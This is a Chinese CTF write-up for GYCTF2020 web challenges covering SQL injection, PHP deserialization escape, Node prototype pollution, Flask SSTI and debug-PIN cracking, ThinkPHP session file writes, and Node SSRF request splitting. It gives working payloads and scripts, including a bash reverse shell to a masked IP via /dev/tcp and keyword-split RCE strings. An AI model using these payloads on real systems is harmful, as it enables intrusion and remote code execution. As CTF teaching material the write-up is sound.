GYCTF2020_Writeup

Blacklist

一到注入題,和2019強網杯的隨便住基本一致,但是多過濾了setpreparealterrename

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

獲取表名和列名的方式與原題一致,而獲取數據可以參考這篇文章:https://xz.aliyun.com/t/7169#toc-47,使用handler語句進行查詢。

mysql除可使用select查詢表中的數據,也可使用handler語句,這條語句使我們能夠一行一行的瀏覽一個表中的數據,不過handler語句並不具備select語句的所有功能。它是mysql專用的語句,並沒有包含到SQL標準中。
在這裏插入圖片描述
所以可以構造payload如下:

?inject=-1';handler FlagHere open;handler FlagHere read first%23

在這裏插入圖片描述


Ezsqli

看名字就是一道sql注入的題目,經測試總共有四種回顯:

bool(false):查詢語句有語法錯誤,如id=1'
SQL Injection Checked:含有被過濾的關鍵詞時,包括and、or、union、in、order、group、limit等。
Nu1L:查詢語句返回值爲真,如id=1^(1=1)^1#
Error Occured When Fetch Result.:查詢語句返回值爲假,如id=1^(1=2)^1#

這樣很顯然就是要進行盲注了,但是這裏過濾了in,也就不能查詢information_schema,但是可以從sys數據庫中找到替代的,如sys.x$schema_flattened_keys,從中同樣可以獲取表名以及主鍵名。更多的替代可以參考這篇文章:Alternatives to Extract Tables and Columns from MySQL and MariaDB

於是我們可以使用如下腳本盲注出表名:

import requests 
s = requests.Session()
url = "xxxxxxxxxxxxxxx"
flag = ""

def exp(i, j):
    payload = f"1^(ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys),{i},1))>{j})^1"  # f1ag_1s_h3r3_hhhhh 
    data = {"id": payload}
    r = s.post(url, data=data)
    if "Nu1L" in r.text:
        return True
    else:
        return False

for i in range(1, 100):
    low = 32
    high = 127
    while (low <= high):
        mid = (low + high) // 2
        if (exp(i, mid)):
            low = mid + 1
        else:
            high = mid - 1
    flag += chr((low + high + 1) // 2)
    print(flag)

得到含有flag的表名:f1ag_1s_h3r3_hhhhh

知道了表名,但是我們卻無法知道列名,因此需要進行無列名的盲注,也就是如下判斷下面這樣式子的真假:

(select 其他列,'猜測的數據') > (select * from users limit 1)

在這裏由於表中只有一行數據,所以正好無需limit語句,而表中的列爲主鍵和flag列兩列,因此我們構造的判斷條件即爲:

(select 1,'{}~') > (select * from f1ag_1s_h3r3_hhhhh)
  • 1則爲主鍵的值,只有一行所以爲1
  • {}中則填入盲注猜測的flag字段值,而因爲mysql比較字符串大小是按位比較的,所以我們在最後加上一個ascii碼較大的~,這樣的話f~就滿足大於flag{xxx}e~就滿足小於flag{xxx}
  • 在寫腳本的時候,只要按照ascii碼從小到大的順序進行猜解即可,即f~>(select * from f1ag_1s_h3r3_hhhhh), fl~>(select * from f1ag_1s_h3r3_hhhhh),...
    所以獲得flag的腳本如下:
import requests 
s = requests.Session()
url = "xxxxxxxxxxxxxxxx"
flag = ""

for i in range(1, 100):
    for j in range(32, 127):
        temp = flag + chr(j)
        print(temp)
        # payload = "1^((select 1,concat('{}~', cast(0 as json))) > (select * from f1ag_1s_h3r3_hhhhh))^1".format(temp)
        # payload = "1^((select 1,'{}~') > (select * from f1ag_1s_h3r3_hhhhh))^1".format(temp)
        data = {"id": payload}
        r = s.post(url, data=data)
        time.sleep(0.1)
        if "Nu1L" in r.text:
            flag = temp
            print(flag)
            break

實際上這裏因爲大寫字母的ascii碼小於小寫字母,而mysql不區分大小寫,所以我們這裏得到的flag全部爲大寫字母,如果光是交flag的話,轉換成小寫字母即可正確。

而預期解實際上是要利用SELECT CONCAT("A", CAST(0 AS JSON))來讓器返回二進制字符串,從而進行大小寫的匹配,可以參考這篇文章:無需in的SQL盲注

即將判斷條件修改如下:

((select 1,concat('{}~', cast(0 as json))) > (select * from f1ag_1s_h3r3_hhhhh))

這在我本地的測試環境是可以的,但是在BUU上覆現的時候卻不行,而回顯bool(false),原因還未知…

Easyphp

存在 www.zip 源碼泄露,下載下來進行代碼審計。

這一題需要了解PHP反序列化的字符逃逸的原理,簡單來說就是 “PHP在進行反序列化的時候,只要前面的字符串符合反序列化的規則並能成功反序列化,那麼將忽略後面多餘的字符串” ,關於這個知識點可以去搜索0CTF2016-PiaPiaPia一題的相關Writeup。

下面來看這一道題,首先看一下拿flag的條件,在update.php中:

<?php
require_once('lib.php');
if ($_SESSION['login']!=1){
	echo "你還沒有登陸呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
	require_once("flag.php");
	echo $flag;
}
?>

只要以 admin 的身份成功登錄,就可以返回flag。

重點的代碼在lib.php中,首先看一下dbCtrl類:

//lib.php
class dbCtrl
{
    public $hostname = "127.0.0.1";
    public $dbuser = "root";
    public $dbpass = "root";
    public $database = "test";
    public $name;
    public $password;
    public $mysqli;
    public $token; 
    public function __construct()
    {
        $this->name = $_POST['username'];
        $this->password = $_POST['password'];
        $this->token = $_SESSION['token'];
    }
    public function login($sql)
    {
        $this->mysqli = new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("連接失敗,錯誤:" . $this->mysqli->connect_error);
        }
        $result = $this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();

        //通過反序列化控制token爲admin即可繞過登錄
        if ($this->token == 'admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo ('用戶不存在!');
            return false;
        }
        if (md5($this->password) !== $passwordResult) {
            echo ('密碼錯誤!');
            return false;
        }
        $_SESSION['token'] = $this->name;
        return $idResult;
    }
}

我們可以知道登陸成功的條件:① 用戶名存在,且$this->password的md5值與數據庫查詢的用戶密碼相同。② 或者token的值爲admin。

代碼中的查詢語句爲select id,password from user where username=?,
但其實執行的sql語句是我們可控的(後面再說明),這樣的話我們只需要將查詢語句寫成下面這個樣子:

select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?

然後再將$this->password的值賦爲1(1的md5值爲c4ca4238a0b923820dcc509a6f75849b),即可通過登錄密碼的驗證。

下面的問題就是如何控制執行的sql語句以及$this->password的值,這就需要用到反序列化了,我們看一下如何構造POP鏈:

  • UpdateHelper::__destruct()中看到字符串輸出語句,所以只需要將$sql實例化爲User類的對象,即可在該類對象結束時,調用到 User::__toString方法
    在這裏插入圖片描述
  • 然後看User::__toString方法,用$nickname變量調用了update()函數,且$age變量作爲參數。這樣我們只需要將$nicknames實例化爲Info類的對象,從而可以調用Info::__call方法,且$age中的值會作爲參數傳入。
    在這裏插入圖片描述
  • 之後我們繼續跟進到Info::__call方法,可以看到其用$CtrCase變量調用了login()方法,且參數就是上一步通過User.age的值傳進來的。這樣我們只需要將這個類裏的$CtrlCase變量實例化爲dbCtrl類的對象,這句話就相當於調用了dbCtrl::login($sql),而且參數sql語句也是我們所控制的了,也就達到了我們的目的。
    在這裏插入圖片描述
  • 最後我們只需要對dbCtrl類裏的一些變量賦值成我們需要的值即可,而且可知dbCtrl::login($sql)中的$sql參數,實際上是User類中$age變量傳入的。

所以最終的反序列化payload腳本如下:

<?php
class User
{
    public $age = null;
    public $nickname = null;
    public function __construct()
    {
        $this->age = 'select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
        $this->nickname = new Info();
    }
}
class Info
{
    public $CtrlCase;
    public function __construct()
    {
        $this->CtrlCase = new dbCtrl();
    }
}
class UpdateHelper
{
    public $sql;
    public function __construct()
    {
        $this->sql = new User();
    }
}
class dbCtrl
{
    public $name = "admin";
    public $password = "1";
}
$o = new UpdateHelper;
echo serialize($o);

運行得到如下payload:

O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}

下面我們就需要思考如何將腳本得到的序列化串被程序反序列化呢?

先找一下反序列化的利用點,從 update.php 可以跟進到User類的update()函數:

public function update()
{
	$Info = unserialize($this->getNewinfo());  
	$age = $Info->age;
	$nickname = $Info->nickname; 
	$updateAction = new UpdateHelper($_SESSION['id'], $Info, "update user SET age=$age,nickname=$nickname where id=" . $_SESSION['id']); 
}

可以看到反序列化的是getNewinfo()函數的返回值,跟進這個函數:

public function getNewInfo()
{
    $age = $_POST['age'];
    $nickname = $_POST['nickname'];
    return safe(serialize(new Info($age, $nickname)));  
}

這個函數的返回值是一個先序列化再經過safe()函數處理的Info類對象。

所以最終能夠反序列化的不是我們直接傳入的字符串,而是用我們傳入的值實例化一個Info類的對象,然後對這個對象進行序列化,載對這個序列化結果進行safe() 處理,最後得到的值再進行反序列化。

safe()函數如下,如果你瞭解反序列化的字符逃逸原理,那麼很容易看出這個函數的問題:將長度小於6的字符串直接替換成了長度爲6的hacker。

function safe($parm)
{
    $array = array('union', 'regexp', 'load', 'into', 'flag', 'file', 'insert', "'", '\\', "*", "alter");
    return str_replace($array, 'hacker', $parm);
}

如果我們將剛纔得到的payload直接用age或nickname參數傳入的化,其實際上只會被當成Info類裏的一個很長的字符串,並不能被反序列化得到執行。

所以要想反序列化我們的payload,就得控制Info類對象的序列化串,看一下這個序列化串的格式(假設age爲20,nickname爲lethe):

O:4:"Info":3:{s:3:"age";s:2:"20";s:8:"nickname";s:5:"lethe";s:8:"CtrlCase";N;}

我感覺這裏原理上有點類似注入,需要閉合構造符合規則的序列化串。

假設我們要通過nickname參數來注入,先看一下我們構造的payload2如下(未逃逸字符串前):

";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

可以看到我們在而已序列化串前加上了";s:8:"CtrlCase";,在最後加上了一個}(整個長度爲263),這樣我們將其作爲new Info($age,$nickname)的nickname傳入時,序列化的結果如下:
在這裏插入圖片描述
上圖中兩個箭頭之間的內容就是我們傳入的payload,可以看到我們在第一個箭頭那裏是想閉合雙引號,從而使後面的內容符合序列化的規則的。但是我圈出來的那個263在序列化的規則裏,限制了nickname的長度爲263,所以後面長度爲263的payload還是當作了一個普通字符串,而不是序列化裏的內容。

這時候就需要用到字符逃逸的原理了,我們在payload2的前面加上263個union,這樣我上面圈出來的值就變成了263×5+263=1578263×5+263=1578,上面第一個箭頭所指的雙引號裏是263個union(長度爲263×5=1315263×5=1315),當對這個序列化串進行safe()函數的處理時,所有的union都被替換成了hacker,也就是雙引號裏的內容變成了263個hacker(長度爲263×6=1578263×6=1578),正好等於前面的1579,如下:
在這裏插入圖片描述

上面的圖可以看出來經過safe()函數處理後,這個序列化串就被解釋成了nickname變量長度爲1586的重複hacker字符串,而我們的而已序列化payload,則以對象的形式作爲CtrCase變量的值。
而之所前面構造的時候在最後面加一個},是因爲Info類的對象只有3個變量(第一個箭頭所指),當到我們第二個箭頭所指的位置時,前面已經有3個變量滿足了序列化串的要求了,所以加一個}來閉合整個序列化串。這樣由於前面的內容已經符合反序列化的規則,所以後面的內容都將被忽略。

最終payload如下:

age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

在update.php以POST傳入上面的payload,此時反序列化被執行,在login函數裏面已經成功驗證了,token被設置爲了admin,所以再回到登錄界面使用任意密碼即可登錄admin賬戶:
在這裏插入圖片描述

Ez_Expresss

存在www.zip源碼泄露,可以下載得到源碼。

在登錄界面,有如下提示:

這裏只支持大寫非常的奇怪,查閱資料得到:
在這裏插入圖片描述
再查看源碼,確實是使用了toUpperCase()進行處理,所以可以利用這個特性來註冊admın用戶進行繞過:
在這裏插入圖片描述

可以看到成功了,並且提示flag在/flag目錄下。
在這裏插入圖片描述

下面就考慮如何讀文件或者RCE,再次進行代碼審計。

一開始就是熟悉的merge+clone,那麼考慮是否存在原型鏈污染(不熟悉的話可參考p神的:深入理解 JavaScript Prototype 污染攻擊
在這裏插入圖片描述
/action路由下使用了clone()方法:

router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});

這個路由只有ADMIN可以訪問,且clone()的參數是我們可控的,所以可以確定原型鏈污染了。

在這裏插入圖片描述
然後在info路由看到了一個莫名其妙又有點眼熟的outputFunctionName,在XNUCA 2019的HardJS考過這個,拼接在ejs渲染引擎中可以RCE,可參考我當時對HardJS的分析文章。

所以可以直接改一下當時的payload就好:

{"__proto__":{"outputFunctionName":"a=1;process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/7777 0>&1\"')//"}}

參考https://xz.aliyun.com/t/7184#toc-7推薦一個更好一點的命令執行的payload,因爲有時候用require會報錯:

{"__proto__":{"outputFunctionName":"a=1;global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/7777 0>&1\"')//"}}

然後提交/action(即最喜歡的語言)並抓包,然後填入poayload,注意要把Content-Type: 改爲plication/json:
在這裏插入圖片描述
然後訪問/info路由讓outputFunctionName拼接到渲染引擎中觸發原型鏈污染,即可得到shell:
在這裏插入圖片描述


FlaskApp

進入頁面後,是一個Flask寫的base64加解密功能,提示路由的源碼中提示了PIN,應該是想說Flask的Debug模式中的PIN碼。

在Base64解碼的功能中很容易使其報錯(如輸入1):在這裏插入圖片描述
可以看到確實開啓了Debug模式,並泄露了decode路由的源碼:
在這裏插入圖片描述
解碼的結果直接拼接到模板中渲染,存在SSTI漏洞,不過經過了waf的處理,我們也並不知道過濾了什麼東西。

那麼先試試一下SSTI吧:
{{2+2}}的base64爲e3syKzJ9fQ==,我們進行解碼得到4,確認存在SSTI了:
在這裏插入圖片描述

非預期解:利用SSTI進行RCE

雖然知道出題人的意思是利用PIN碼來RCE,不過我還是想試試看能否直接利用SSTI進行RCE。

那麼先試試過濾了哪些?

經過測試,SSTI中常用的一些關鍵詞並沒有被過濾(畢竟預期解也需要SSTI來讀文件~):
在這裏插入圖片描述
而是過濾了systempopenosevalimportflag等RCE需要用到的關鍵詞,但是這個過濾可以使用拼接字符串來繞過,這樣我們想構造一個payload繞過就並不是很難了:
在這裏插入圖片描述

所以我們要構造的payload一定不是能是xx.popen()的形式,而是要把被過濾的關鍵詞用字符串的方式調用,這樣才能利用拼接或者編碼來繞過,實際上這樣的payload也很常見,網上能搜到很多。並且本題環境中可以用的類也不少,如下面兩個payload均可以RCE:

{{''.__class__.__base__.__subclasses__()[131].__init__.__globals__['__builtins__']['ev'+'al']('__im'+'port__("o'+'s").po'+'pen("cat /this_is_the_fl'+'ag.txt")').read()}}
{{''.__class__.__base__.__subclasses__()[77].__init__.__globals__['sys'].modules['o'+'s'].__dict__['po'+'pen']('cat /this_is_the_fl'+'ag.txt').read()}}

將payload進行base64編碼,再在題目中解碼觸發SSTI進行RCE:
在這裏插入圖片描述

預期解:利用PIN碼進行RCE

參考這篇文章:https://www.anquanke.com/post/id/197602

要想生成PIN碼,我們需要獲得下面幾個信息,這裏就不考慮RCE了,所需要的信息均可以通過讀文件來獲得:

(1)服務器運行flask所登錄的用戶名。通過讀取/etc/password可知此值爲:flaskweb
在這裏插入圖片描述
(2)modname的值。一般不變就是flask.app

(3) getattr(app, "__name__", app.__class__.__name__)的結果。就是Flask,也不會變

(4)flask庫下app.py的絕對路徑。在報錯信息中可以獲取此值爲: /usr/local/lib/python3.7/site-packages/flask/app.py
在這裏插入圖片描述
(5)當前網絡的mac地址的十進制數。通過文件/sys/class/net/eth0/address讀取,eth0爲當前使用的網卡:
在這裏插入圖片描述
0242ae00ecc2轉換爲10進製爲:2485410393282

(6)機器的id。

  • 對於非docker機每一個機器都會有自已唯一的id,linux的id一般存放在/etc/machine-id/proc/sys/kernel/random/boot_i,有的系統沒有這兩個文件。
  • 對於docker機則讀取/proc/self/cgroup,其中第一行的/docker/字符串後面的內容作爲機器的id,如下爲1834da85a17efb2029d4a9c8e8f71fe40a96862055c636788c9835665e8e3359
    在這裏插入圖片描述
    然後用kingkk師傅的exp:
import hashlib
from itertools import chain
probably_public_bits = [
    'flaskweb'# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485410393282',# str(uuid.getnode()),  /sys/class/net/ens33/address
    '1834da85a17efb2029d4a9c8e8f71fe40a96862055c636788c9835665e8e3359'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

得到PIN碼:119-747-372
在這裏插入圖片描述
輸入PIN後就可以在python終端任意執行代碼了:
在這裏插入圖片描述

EasyThinking

這一題利用的是ThinkPHP6.0任意文件創建漏洞,分析可以參考這篇文章:ThinkPHP6.0任意文件創建分析

簡單說就是這個漏洞可以通過session來任意創建文件(文件名可控),並且當session裏的數據可控的話,我們就可以控制創建的文件的內容,從而getshell。

掃描發現/www.zip下載源碼,除了註冊和登錄外還有一個搜索功能,通過源碼可以看到我們搜索的值會被寫入session中,因此利用我們就可以利用這個漏洞任意創建內容可控的文件:
在這裏插入圖片描述
首先註冊一個用戶,並在登陸的時候將PHPSESSID的值改爲長度爲32的php文件名,如1111111111111111111111111111.php
在這裏插入圖片描述
然後在搜索功能中輸入文件的內容:
在這裏插入圖片描述
Thinkphp6默認把session文件存在/runtime/session目錄下面,並保存爲sess_xxx的形式:
在這裏插入圖片描述

所以訪問/runtime/session/sess_1111111111111111111111111111.php就是我們寫入的文件:
在這裏插入圖片描述

然後就是bypass disable functions了,直接上傳<php7.4的通殺POC執行/readflag即可:
在這裏插入圖片描述


Node Game

首先放上出題人的writeup。

這題給了源碼:

var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug'); //
var morgan = require('morgan');
const multer = require('multer');


app.use(multer({dest: './dist'}).array('file'));
app.use(morgan('short'));
app.use("/uploads",express.static(path.join(__dirname, '/uploads')))
app.use("/template",express.static(path.join(__dirname, '/template')))


app.get('/', function(req, res) {
    var action = req.query.action?req.query.action:"index";
    if( action.includes("/") || action.includes("\\") ){
        res.send("Errrrr, You have been Blocked");
    }
    file = path.join(__dirname + '/template/'+ action +'.pug');
    var html = pug.renderFile(file);
    res.send(html);
});

//SSRF
app.post('/file_upload', function(req, res){
    var ip = req.connection.remoteAddress;
    var obj = {
        msg: '',
    }
    if (!ip.includes('127.0.0.1')) {
        obj.msg="only admin's ip can use it"
        res.send(JSON.stringify(obj));
        return 
    }
    fs.readFile(req.files[0].path, function(err, data){
        if(err){
            obj.msg = 'upload failed';
            res.send(JSON.stringify(obj));
        }else{
            var file_path = '/uploads/' + req.files[0].mimetype +"/";
            var file_name = req.files[0].originalname
            var dir_file = __dirname + file_path + file_name
            if(!fs.existsSync(__dirname + file_path)){
                try {
                    fs.mkdirSync(__dirname + file_path)
                } catch (error) {
                    obj.msg = "file type error";
                    res.send(JSON.stringify(obj));
                    return
                }
            }
            try {
                fs.writeFileSync(dir_file,data)
                obj = {
                    msg: 'upload success',
                    filename: file_path + file_name
                } 
            } catch (error) {
                obj.msg = 'upload failed';
            }
            res.send(JSON.stringify(obj));    
        }
    })
})

app.get('/source', function(req, res) {
    res.sendFile(path.join(__dirname + '/template/source.txt'));
});


app.get('/core', function(req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
        var url = 'http://localhost:8081/source?' + q
        console.log(url)
        var trigger = blacklist(url);
        if (trigger === true) {
            res.send("<p>error occurs!</p>");
        } else {
            try {
                http.get(url, function(resp) {
                    resp.setEncoding('utf8');
                    resp.on('error', function(err) {
                    if (err.code === "ECONNRESET") {
                     console.log("Timeout occurs");
                     return;
                    }
                   });

                    resp.on('data', function(chunk) {
                        try {
                         resps = chunk.toString();
                         res.send(resps);
                        }catch (e) {
                           res.send(e.message);
                        }
 
                    }).on('error', (e) => {
                         res.send(e.message);});
                });
            } catch (error) {
                console.log(error);
            }
        }
    } else {
        res.send("search param 'q' missing!");
    }
})

function blacklist(url) {
    var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
    var arrayLen = evilwords.length;
    for (var i = 0; i < arrayLen; i++) {
        const trigger = url.includes(evilwords[i]);
        if (trigger === true) {
            return true
        }
    }
}

var server = app.listen(8081, function() {
    var host = server.address().address
    var port = server.address().port
    console.log("Example app listening at http://%s:%s", host, port)
})

大概看一下幾個路由:

  • /:會包含/template目錄下的一個pug模板文件來用pub進行渲染
  • /source:回顯源碼
  • /file_upload:限制了只能由127.0.0.1的ip進行文件上傳,並且我們可以通過控制MIME進行目錄穿越,從而將文件上傳到任意目錄
  • /core:通過q向內網的8081端口傳參,然後獲取數據再返回外網,並且對url進行黑名單的過濾,但是這裏的黑名單可以直接用字符串拼接繞過。

根據上面幾點,可以大致判斷是利用SSRF僞造本地ip進行文件上傳,上傳包含命令執行代碼的pug文件(可以搜一下pug文件的代碼格式)到/template目錄下,然後用?action=來包含該文件。

現在問題就是如何用SSRF來進行文件上傳,這裏就是Node js的編碼處理安全問題,可以參考這篇文章:https://xz.aliyun.com/t/2894

如果對編碼經過精心的構造,就可以通過拆分請求實現的SSRF攻擊(也就是一種CRLF注入),通過換行讓服務端將我們的第一次請求下面構造的報文內容,當作一次單獨的HTTP請求,而這個構造的請求就是我們的文件上傳請求了。

在這裏插入圖片描述
由上面文章中的內容可知,通常的換行\r\n(%0D%0A),我們可以構造爲\u010D\u010A
同理其他的一些特殊字符,如空格(%20)構造編碼爲\u0120+(%2B)構造編碼構造爲\u012B

根據這個編碼方式,就可以構造出拆分的請求從而SSRF了,參考iv4n的exp:

import requests

payload = """ HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive

POST /file_upload HTTP/1.1
Host: 127.0.0.1
Content-Length: {}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysAs7bV3fMHq0JXUt

{}""".replace('\n', '\r\n')

body = """------WebKitFormBoundarysAs7bV3fMHq0JXUt
Content-Disposition: form-data; name="file"; filename="lethe.pug"
Content-Type: ../template

-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")
-return x
------WebKitFormBoundarysAs7bV3fMHq0JXUt--

""".replace('\n', '\r\n')

payload = payload.format(len(body), body) \
    .replace('+', '\u012b')             \
    .replace(' ', '\u0120')             \
    .replace('\r\n', '\u010d\u010a')    \
    .replace('"', '\u0122')             \
    .replace("'", '\u0a27')             \
    .replace('[', '\u015b')             \
    .replace(']', '\u015d') \
    + 'GET' + '\u0120' + '/'

requests.get(
    'http://5750e068-33b5-4a65-a6bf-82412fdee97e.node3.buuoj.cn/core?q=' + payload)

print(requests.get(
    'http://5750e068-33b5-4a65-a6bf-82412fdee97e.node3.buuoj.cn/?action=lethe').text)

在這裏插入圖片描述

參考:
新春戰疫公益賽-ezsqli-出題小記
http://iv4n.cc/2020-wp-vol1/

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章